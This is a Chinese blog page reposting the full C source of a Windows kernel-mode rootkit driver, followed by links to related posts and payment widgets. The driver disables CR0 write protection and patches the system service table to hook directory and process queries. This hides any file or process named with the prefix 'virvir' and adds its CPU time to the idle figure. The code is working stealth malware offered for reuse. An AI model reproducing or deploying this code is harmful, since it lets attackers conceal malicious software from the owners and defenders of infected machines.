隐藏文件和进程的驱动代码

ZwQueryDirectoryFile ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。 立即下载
// ***************************************************************
//  bhhidef   version:  1.0   ? date: 10/11/2007
//  -------------------------------------------------------------
//  
//  author  :virvir
//  -------------------------------------------------------------
//  msn     :dupchina@yahoo.com.cn
//  QQ      : 414947531
//  web     :www.virvir.cn
//  -------------------------------------------------------------
//  Copyright (C) 2007 - All Rights Reserved
// ***************************************************************

#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"
/************************************************************************/
/*             pre-defines                                              */
/************************************************************************/       
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

/*
* Length of process name (rounded up to next DWORD)
*/
#define PROCNAMELEN     20

/*
* Maximum length of NT process name
*/
#define NT_PROCNAMELEN  16

#define FileIdFullDirectoryInformation 38
#define FileIdBothDirectoryInformation 37



/************************************************************************/
/* structs                                                             */
/************************************************************************/
struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

struct _SYSTEM_PROCESSOR_TIMES
{
                LARGE_INTEGER                                        IdleTime;
                LARGE_INTEGER                                        KernelTime;
                LARGE_INTEGER                                        UserTime;
                LARGE_INTEGER                                        DpcTime;
                LARGE_INTEGER                                        InterruptTime;
                ULONG                                                        InterruptCount;
};

typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
);

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
        HANDLE hFile,
        HANDLE hEvent,
        PIO_APC_ROUTINE IoApcRoutine,
        PVOID IoApcContext,
        PIO_STATUS_BLOCK pIoStatusBlock,
        PVOID FileInformationBuffer,
        ULONG FileInformationBufferLength,
        FILE_INFORMATION_CLASS FileInfoClass,
        BOOLEAN bReturnOnlyOneEntry,
        PUNICODE_STRING PathMask,
        BOOLEAN bRestartQuery
);

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

/************************************************************************/
/* globals                                                              */
/************************************************************************/
ULONG gProcessNameOffset;
LARGE_INTEGER                                        m_UserTime;
LARGE_INTEGER                                        m_KernelTime;
ZWQUERYDIRECTORYFILE        OldZwQueryDirectoryFile;
ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;



/* Find the offset of the process name within the executive process
   block.  We do this by searching for the first occurance of "System"
   in the current process when the device driver is loaded. */

void GetProcessNameOffset()
{
  PEPROCESS curproc = PsGetCurrentProcess();
  int i;
  for( i = 0; i < 3*PAGE_SIZE; i++ )
  {
      if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
        {
          gProcessNameOffset = i;
        }
  }
}

/* Given a directory entry, return the next
   directory entry in the linked list. */

DWORD getDirEntryLenToNext(IN PVOID FileInformationBuffer,
                                                   IN FILE_INFORMATION_CLASS FileInfoClass)
{
        DWORD result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileFullDirectoryInformation:
                        result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdFullDirectoryInformation:
                        result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileBothDirectoryInformation:
                        result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdBothDirectoryInformation:
                        result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileNamesInformation:
                        result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
        }
        return result;
}


// ***************************************************************
//  function-name:setDirEntryLenToNext
//  -------------------------------------------------------------
//  pramaters:
//  -------------------------------------------------------------
//  return:void
//  -------------------------------------------------------------
// Given two directory entries, link them together in a list
// ***************************************************************
void setDirEntryLenToNext(IN PVOID FileInformationBuffer,
                                                  IN FILE_INFORMATION_CLASS FileInfoClass,
                                                  IN DWORD value)
{
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileFullDirectoryInformation:
                        ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdFullDirectoryInformation:
                        ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileBothDirectoryInformation:
                        ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdBothDirectoryInformation:
                        ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileNamesInformation:
                        ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
        }
}
        
/* Return the filename of the specified directory entry. */

PVOID getDirEntryFileName(IN PVOID FileInformationBuffer,
                                                  IN FILE_INFORMATION_CLASS FileInfoClass)
{
        PVOID result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileFullDirectoryInformation:
                        result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdFullDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileBothDirectoryInformation:
                        result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdBothDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileNamesInformation:
                        result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
        }
        return result;
}

/* Return the length of the filename of the specified directory
   entry. */

ULONG getDirEntryFileLength(IN PVOID FileInformationBuffer,
                                                        IN FILE_INFORMATION_CLASS FileInfoClass)
{
        ULONG result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileFullDirectoryInformation:
                        result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdFullDirectoryInformation:
                        result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileBothDirectoryInformation:
                        result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdBothDirectoryInformation:
                        result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileNamesInformation:
                        result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
        }
        return result;
}

/* Copy the process name into the specified buffer.  */

ULONG GetProcessName( PCHAR theName )
{
  PEPROCESS       curproc;
  char            *nameptr;
  //ULONG           i;
  //KIRQL           oldirql;

  if( gProcessNameOffset )
    {
      curproc = PsGetCurrentProcess();
      nameptr   = (PCHAR) curproc + gProcessNameOffset;
      strncpy( theName, nameptr, NT_PROCNAMELEN );
      theName[NT_PROCNAMELEN] = 0; /* NULL at end */
      return TRUE;
    }
  return FALSE;
}

/* NT's ZwQueryDirectoryFile() returns a a linked list of directory
   entries.  The function below imitates it, except it removes from
   the list any entry who's name begins with "_root_". */

NTSTATUS NewZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
)
{
        NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
               
        GetProcessName( aProcessName );
        DbgPrint("Rootkit: NewZwQueryDirectoryFile() from %s/n", aProcessName);

        rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
                        hFile,         
                        hEvent,
                        IoApcRoutine,
                        IoApcContext,
                        pIoStatusBlock,
                        FileInformationBuffer,
                        FileInformationBufferLength,
                        FileInfoClass,
                        bReturnOnlyOneEntry,
                        PathMask,
                        bRestartQuery);

        if( NT_SUCCESS( rc ) &&
                (FileInfoClass == FileDirectoryInformation ||
                 FileInfoClass == FileFullDirectoryInformation ||
                 FileInfoClass == FileIdFullDirectoryInformation ||
                 FileInfoClass == FileBothDirectoryInformation ||
                 FileInfoClass == FileIdBothDirectoryInformation ||
                 FileInfoClass == FileNamesInformation )
                )
        {
                if(0 == memcmp(aProcessName, "virvir", 6))
                {
                        DbgPrint("Rootkit: detected file/directory query from virvir process/n");
                }
                else
                {
                        PVOID p = FileInformationBuffer;
                        PVOID pLast = NULL;
                        BOOL bLastOne;
                        do
                        {
                                bLastOne = !getDirEntryLenToNext(p,FileInfoClass);
                                
                                // compare directory-name prefix with 'virvir' to decide if to hide or not.

                                if (getDirEntryFileLength(p,FileInfoClass) >= 12) {
                                        if( RtlCompareMemory( getDirEntryFileName(p,FileInfoClass), L"virvir", 12 ) == 12 )
                                        {
                                                if( bLastOne )
                                                {
                                                        if( p == FileInformationBuffer ) rc = 0x80000006;
                                                        else setDirEntryLenToNext(pLast,FileInfoClass, 0);
                                                        break;
                                                }
                                                else
                                                {
                                                        int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
                                                        int iLeft = (DWORD)FileInformationBufferLength - iPos - getDirEntryLenToNext(p,FileInfoClass);
                                                        RtlCopyMemory( p, (PVOID)( (char *)p + getDirEntryLenToNext(p,FileInfoClass) ), (DWORD)iLeft );
                                                        continue;
                                                }
                                        }
                                }
                                pLast = p;
                                p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) );
                        } while( !bLastOne );
                }
        }
        return(rc);
}
/************************************************************************/
/* NT's ZwQuerySystemInformation() returns a linked list of processes.
   The function below imitates it, except it removes from the list any
   process who's name begins with "virvir". */

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength
)
{
        NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
               
        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwQuerySystemInformation() from %s/n", aProcessName);

        rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                        SystemInformationClass,
                        SystemInformation,
                        SystemInformationLength,
                        ReturnLength );

        if( NT_SUCCESS( rc ) )
        {
                // double check the process name, if it starts w/ 'virvir' DO NOT
                // apply any stealth
                if(0 == memcmp(aProcessName, "virvir", 6))
                {
                        DbgPrint("rootkit: detected system query from virvir process/n");
                }
                else if( 5 == SystemInformationClass )
                {
                        // this is a process list, look for process names that start with
                        // '_root_'
                        int iChanged = 0;
                                                struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
                        struct _SYSTEM_PROCESSES *prev = NULL;
                                               
                        while(curr)
                        {      
                                //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);
                                
                                ANSI_STRING process_name;
                                RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
                                if( (0 < process_name.Length) && (255 > process_name.Length) )
                                {
                                        if(0 == memcmp( process_name.Buffer, "virvir", 6))
                                        {
                                                //////////////////////////////////////////////
                                                // we have a winner!
                                                //////////////////////////////////////////////
                                                char _output[255];
                                                char _pname[255];
                                                memset(_pname, 0, 255);
                                                memcpy(_pname, process_name.Buffer, process_name.Length);

                                                sprintf(        _output,
                                                                        "rootkit: hiding process, pid: %d/tname: %s/r/n",
                                                                        curr->ProcessId,
                                                                        _pname);
                                                DbgPrint(_output);

                                                                                                iChanged = 1;

                                                                                                m_UserTime.QuadPart += curr->UserTime.QuadPart;
                                                                                                m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

                                                if(prev)
                                                {
                                                        if(curr->NextEntryDelta)
                                                        {
                                                                // make prev skip this entry
                                                                prev->NextEntryDelta += curr->NextEntryDelta;
                                                        }
                                                        else
                                                        {
                                                                // we are last, so make prev the end
                                                                prev->NextEntryDelta = 0;
                                                        }
                                                }
                                                else
                                                {
                                                        if(curr->NextEntryDelta)
                                                        {
                                                                // we are first in the list, so move it forward
                                                                (char *)SystemInformation += curr->NextEntryDelta;
                                                        }
                                                        else
                                                        {
                                                                // we are the only process!
                                                                SystemInformation = NULL;
                                                        }
                                                }
                                        }
                                }
                                                                else
                                                                {
                                                                        //add the times of _root_* processes to the idle process
                                                                        curr->UserTime.QuadPart += m_UserTime.QuadPart;
                                                                        curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
                                                                        m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
                                                                }


                                RtlFreeAnsiString(&process_name);
                                
                                                                if (0 == iChanged)
                                                                        prev = curr;
                                                                else
                                                                        iChanged = 0;

                                if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                                else curr = NULL;
                        }
                }
                                else if (8 == SystemInformationClass)                        //SystemProcessorTimes
                                {
                                        struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

                                        times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
                                }

        }
        return(rc);
}

/************************************************************************/

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
        DbgPrint("Rootkit: OnUnload called/n");

        // UNProtect memory
        __asm
        {
                push        eax
                mov                eax, CR0
                and                eax, 0FFFEFFFFh
                mov                CR0, eax
                pop                eax
        }

        // put back the old function pointer
        InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQueryDirectoryFile),
                                                 (LONG) OldZwQueryDirectoryFile);
        InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation),
                                                 (LONG) OldZwQuerySystemInformation);

        // REProtect memory
        __asm
        {
                push        eax
                mov                eax, CR0
                or                eax, NOT 0FFFEFFFFh
                mov                CR0, eax
                pop                eax
        }
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
        DbgPrint("Rootkit: WE ARE ALIVE! Start hiding files./n");

        GetProcessNameOffset();

        theDriverObject->DriverUnload  = OnUnload;

        // UNProtect memory
        __asm
        {
                push        eax
                mov                eax, CR0
                and                eax, 0FFFEFFFFh
                mov                CR0, eax
                pop                eax
        }

        // place the hook using InterlockedExchange (no need to disable interrupts)
        // this uses the LOCK instruction to lock the memory bus during the next instruction
        // Example:
        // LOCK INC DWORD PTR [EDX+04]
        // This staves off collisions on multi-processor machines, while cli/sti only disable interrupts
        // on the current processor.
        //
        OldZwQueryDirectoryFile =
                (ZWQUERYDIRECTORYFILE) InterlockedExchange(                (PLONG) &SYSTEMSERVICE(ZwQueryDirectoryFile),
                                                                                                                (LONG) NewZwQueryDirectoryFile);
        DbgPrint("%x",(PLONG) &SYSTEMSERVICE(ZwQueryDirectoryFile));
        OldZwQuerySystemInformation =
                (ZWQUERYSYSTEMINFORMATION) InterlockedExchange(                (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation),
                                                                                                                (LONG) NewZwQuerySystemInformation);
        //add hide reg&files
        // REProtect memory
        __asm
        {
                push        eax
                mov                eax, CR0
                or                eax, NOT 0FFFEFFFFh
                mov                CR0, eax
                pop                eax
        }

        return STATUS_SUCCESS;
}




 
DELPHI隐藏进程源代码 隐藏自己的进程,在资源管理器隐藏,可以支持WIN10 立即下载

相关推荐

CATIA高效设计:自定义快捷键全攻略

本文详细介绍了如何在CATIA中自定义快捷键以提升设计效率。通过减少鼠标依赖、优化工作流程和减轻手腕疲劳,合理设置快捷键可显著提高建模速度。文章提供了从基础设置到高级配置的全流程指南,包括解决冲突、推荐方案及外设扩展建议,帮助用户快速掌握CATIA高效设计技巧。

weixin_42648844的博客 585

BASIC ROOTKIT that hides files, directories, and processes

// BASIC ROOTKIT that hides files, directories, and processes// ----------------------------------------------------------// v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)// v0.2 - DirEntry struct

1167

3D Gaussian Splatting的使用

Gaussian splatting 快速生成自己屋子的模型

gootyking的博客 1万+

windows权限维持—— 驱动级文件隐藏

参考:https://www.cnblogs.com/xiaozi/p/7611775.html 驱动隐藏最典型的现象就是系统盘中存在以下文件: c:\WINDOWS\xlkfs.dat c:\WINDOWS\xlkfs.dll c:\WINDOWS\xlkfs.ini c:\WINDOWS\system32\drivers\xlkfs.sys 驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker 下载链接: http://www.xoslab.com/efl.htm

mingyqf的博客 1787

手把手教你用TP4056和PMOS管搭建锂电池自动切换电路(含元器件选型指南)

本文详细介绍了如何使用TP4056和PMOS管搭建锂电池自动切换电路,包括核心架构设计、元器件选型指南和PCB布局优化。通过智能充电算法和电源路径切换模块,实现外部供电与锂电池的无缝切换,提升便携式设备的电源管理效率。

julia4scientist的博客 890

数据本体论如何指导数仓建模?

数据本体论指导数仓建模的核心在于构建业务语义与数据结构的桥梁。该方法从业务域中抽象标准化知识体系,包含核心概念、属性、关系和规则五大要素,并将其映射为分层数仓模型。通过"业务本体梳理→本体建模→模型映射→治理迭代"的流程,实现数仓从"结构存储"到"语义载体"的升级。相比传统建模,该方法能解决语义不一致、跨域融合难等问题,使数仓具备更好的可扩展性和业务对齐性。实践表明,以数据本体论为指导的数仓建模能显著提升数据资产的可理解性和复用价值。

石榴姐yyds 395

文件夹加密(链接方式)

.{00020c01-0000-0000-c000-000000000046} .{00020811-0000-0000-c000-000000000046} .{20D04FE0-3AEA-1069-A2D8-08002B30309D} .{450D8FBA-AD25-11D0-98A8-0800361B1103} .{992CFFA0-F557-101A-88EC-00DD010CCC48} 

huiguixian的专栏 1270

【应用】什么是Azure?一文读懂微软云的核心逻辑与全球版图

作为微软的核心云计算服务平台,Azure不仅是数字化转型的引擎,更是全球企业在构建、扩展与优化IT基础设施时的首选平台。在这篇文章中,我们将深入探讨Azure云服务平台的各个方面,涵盖其核心优势、架构、功能、应用场景以及未来发展趋势。

高校图书馆高级系统架构师/研究馆员,推动高校AI从概念演示到可评审、可交付、可运维:路线图与立项评审、PoC交付、评测回归与上线运维(Baseline/Eval/Ops)。 1963

【Windows系统】隐藏驱动器

下面以隐藏E盘为例。

sunriver2000的专栏 857

生信技能53 - WisecondorX自动化批量npz转换和reference构建

wiseconrdoX分析CNV适用于CNVseq、NIPT和WGS等项目。

LittleComputerRobot的博客 466

2026马斯克《Moonshots》播客独家访谈全记录与深度解析

本次访谈是马斯克2026年首份重磅公开对话,录制于2025年12月22日美国得克萨斯州奥斯汀特斯拉超级工厂(Cybertruck与Optimus机器人核心生产基地),于2026年1月6日通过《Moonshots》播客正式上线,全时长近3小时。

lpfasd123的博客 2657

windows10驱动 --- x64线程隐藏(一)

win10 x64 线程隐藏

weixin_41725706的博客 1821

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

2024年五大图像分割模型深度解析:架构创新与落地实战

图像分割是计算机视觉的核心任务,要求模型在像素级别理解场景,兼顾全局上下文与局部细节。传统卷积网络受限于感受野,而Transformer的自注意力机制具备天然全局建模能力,但其计算复杂度需要高效设计优化。2024年涌现出一批兼具精度与效率的图像分割模型,通过分层Transformer、卷积注意力、掩码分类、适配器与知识蒸馏等创新架构,显著提升了语义分割、实例分割和全景分割的综合性能。同时,模型部署在真实项目中常面临算力与实时性挑战,轻量化与硬件适配成为落地的关键。针对医疗影像、自动驾驶、工业质检等典型场景,

weixin_34198453的博客 420

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

隐藏文件和进程的驱动代码收藏

原创 隐藏文件和进程的驱动代码收藏// ***************************************************************// bhhidef version: 1.0 ? date: 10/11/2007// -----------------------------------------------------

大浪淘沙的专栏 1330

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

隐藏任意进程,目录文件,注册表,端口

隐藏任意进程,目录文件,注册表,端口    隐藏任意进程,目录/文件,注册表,端口 查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation, ZwXXXvalueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个 SYSCALL 表使之指向自己预先

2195的专栏 932

驱动级隐藏文件,注册表,进程

驱动级隐藏文件,注册表,进程 驱动程序暂不提供源码!提供接口方便调用. 别的不说了,看代码。 点击下载 转载于:https://my.oschina.net/risewo...

chubaisheng8627的博客 203

恶意代码分析实战 Lab10

lab10-011简单的静态分析少不了,注意到恶意程序把自身伪装成GUI程序,可以用resource hacker看看资源,然后用depends看看函数导入两个库kernel32.dll和ADVAPI32.dll这是服务相关库,发现还有一个start的导出函数,然后还有一个需要关注字符串再看看.sys文件,这是很明显会操作注册表的相关操作,不管从函数还是字符串都能看出这一点,而且函数防火墙相关的注...

baidu_41108490的博客 2241

隐藏句柄表防止结束进程

三环传入一个指定的PID,驱动将保护通过删除目标进程的句柄表和PID,这样在任务管理器中将无法结束进程(注意:虽然任务管理器无法结束,但是由于VMware注册了一个回调函数,导致只要自身关闭会发生蓝屏,所以需要把VM3DMP.sys去掉)我所使用的系统是Win7 sp1,不同的系统特征码等也会不一样,请自行提取。

qq_45844442的博客 714

简单认识Anti-RootKit

简单认识Anti-RootKit 作者:single 现在RK(rootkit)和ARK(anti-rootkit)的斗争已经进行了很久,在印象中最早出来的ARK工具是冰刃(IceSword),从冰刃开始出来到现在RK和ARK的斗争一直在继续,目前冰刃还是在流行当中,自己感觉也正是冰刃的出来才带动了当前流行的RK和ARK的斗争 呵呵,现在很多病毒木马已经广泛的带有驱动,使用一些RK

程序人生,学海无涯 3556
上一篇: hook ZwSetSystemTime 保护系统时间
下一篇: 隐藏注册表键代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值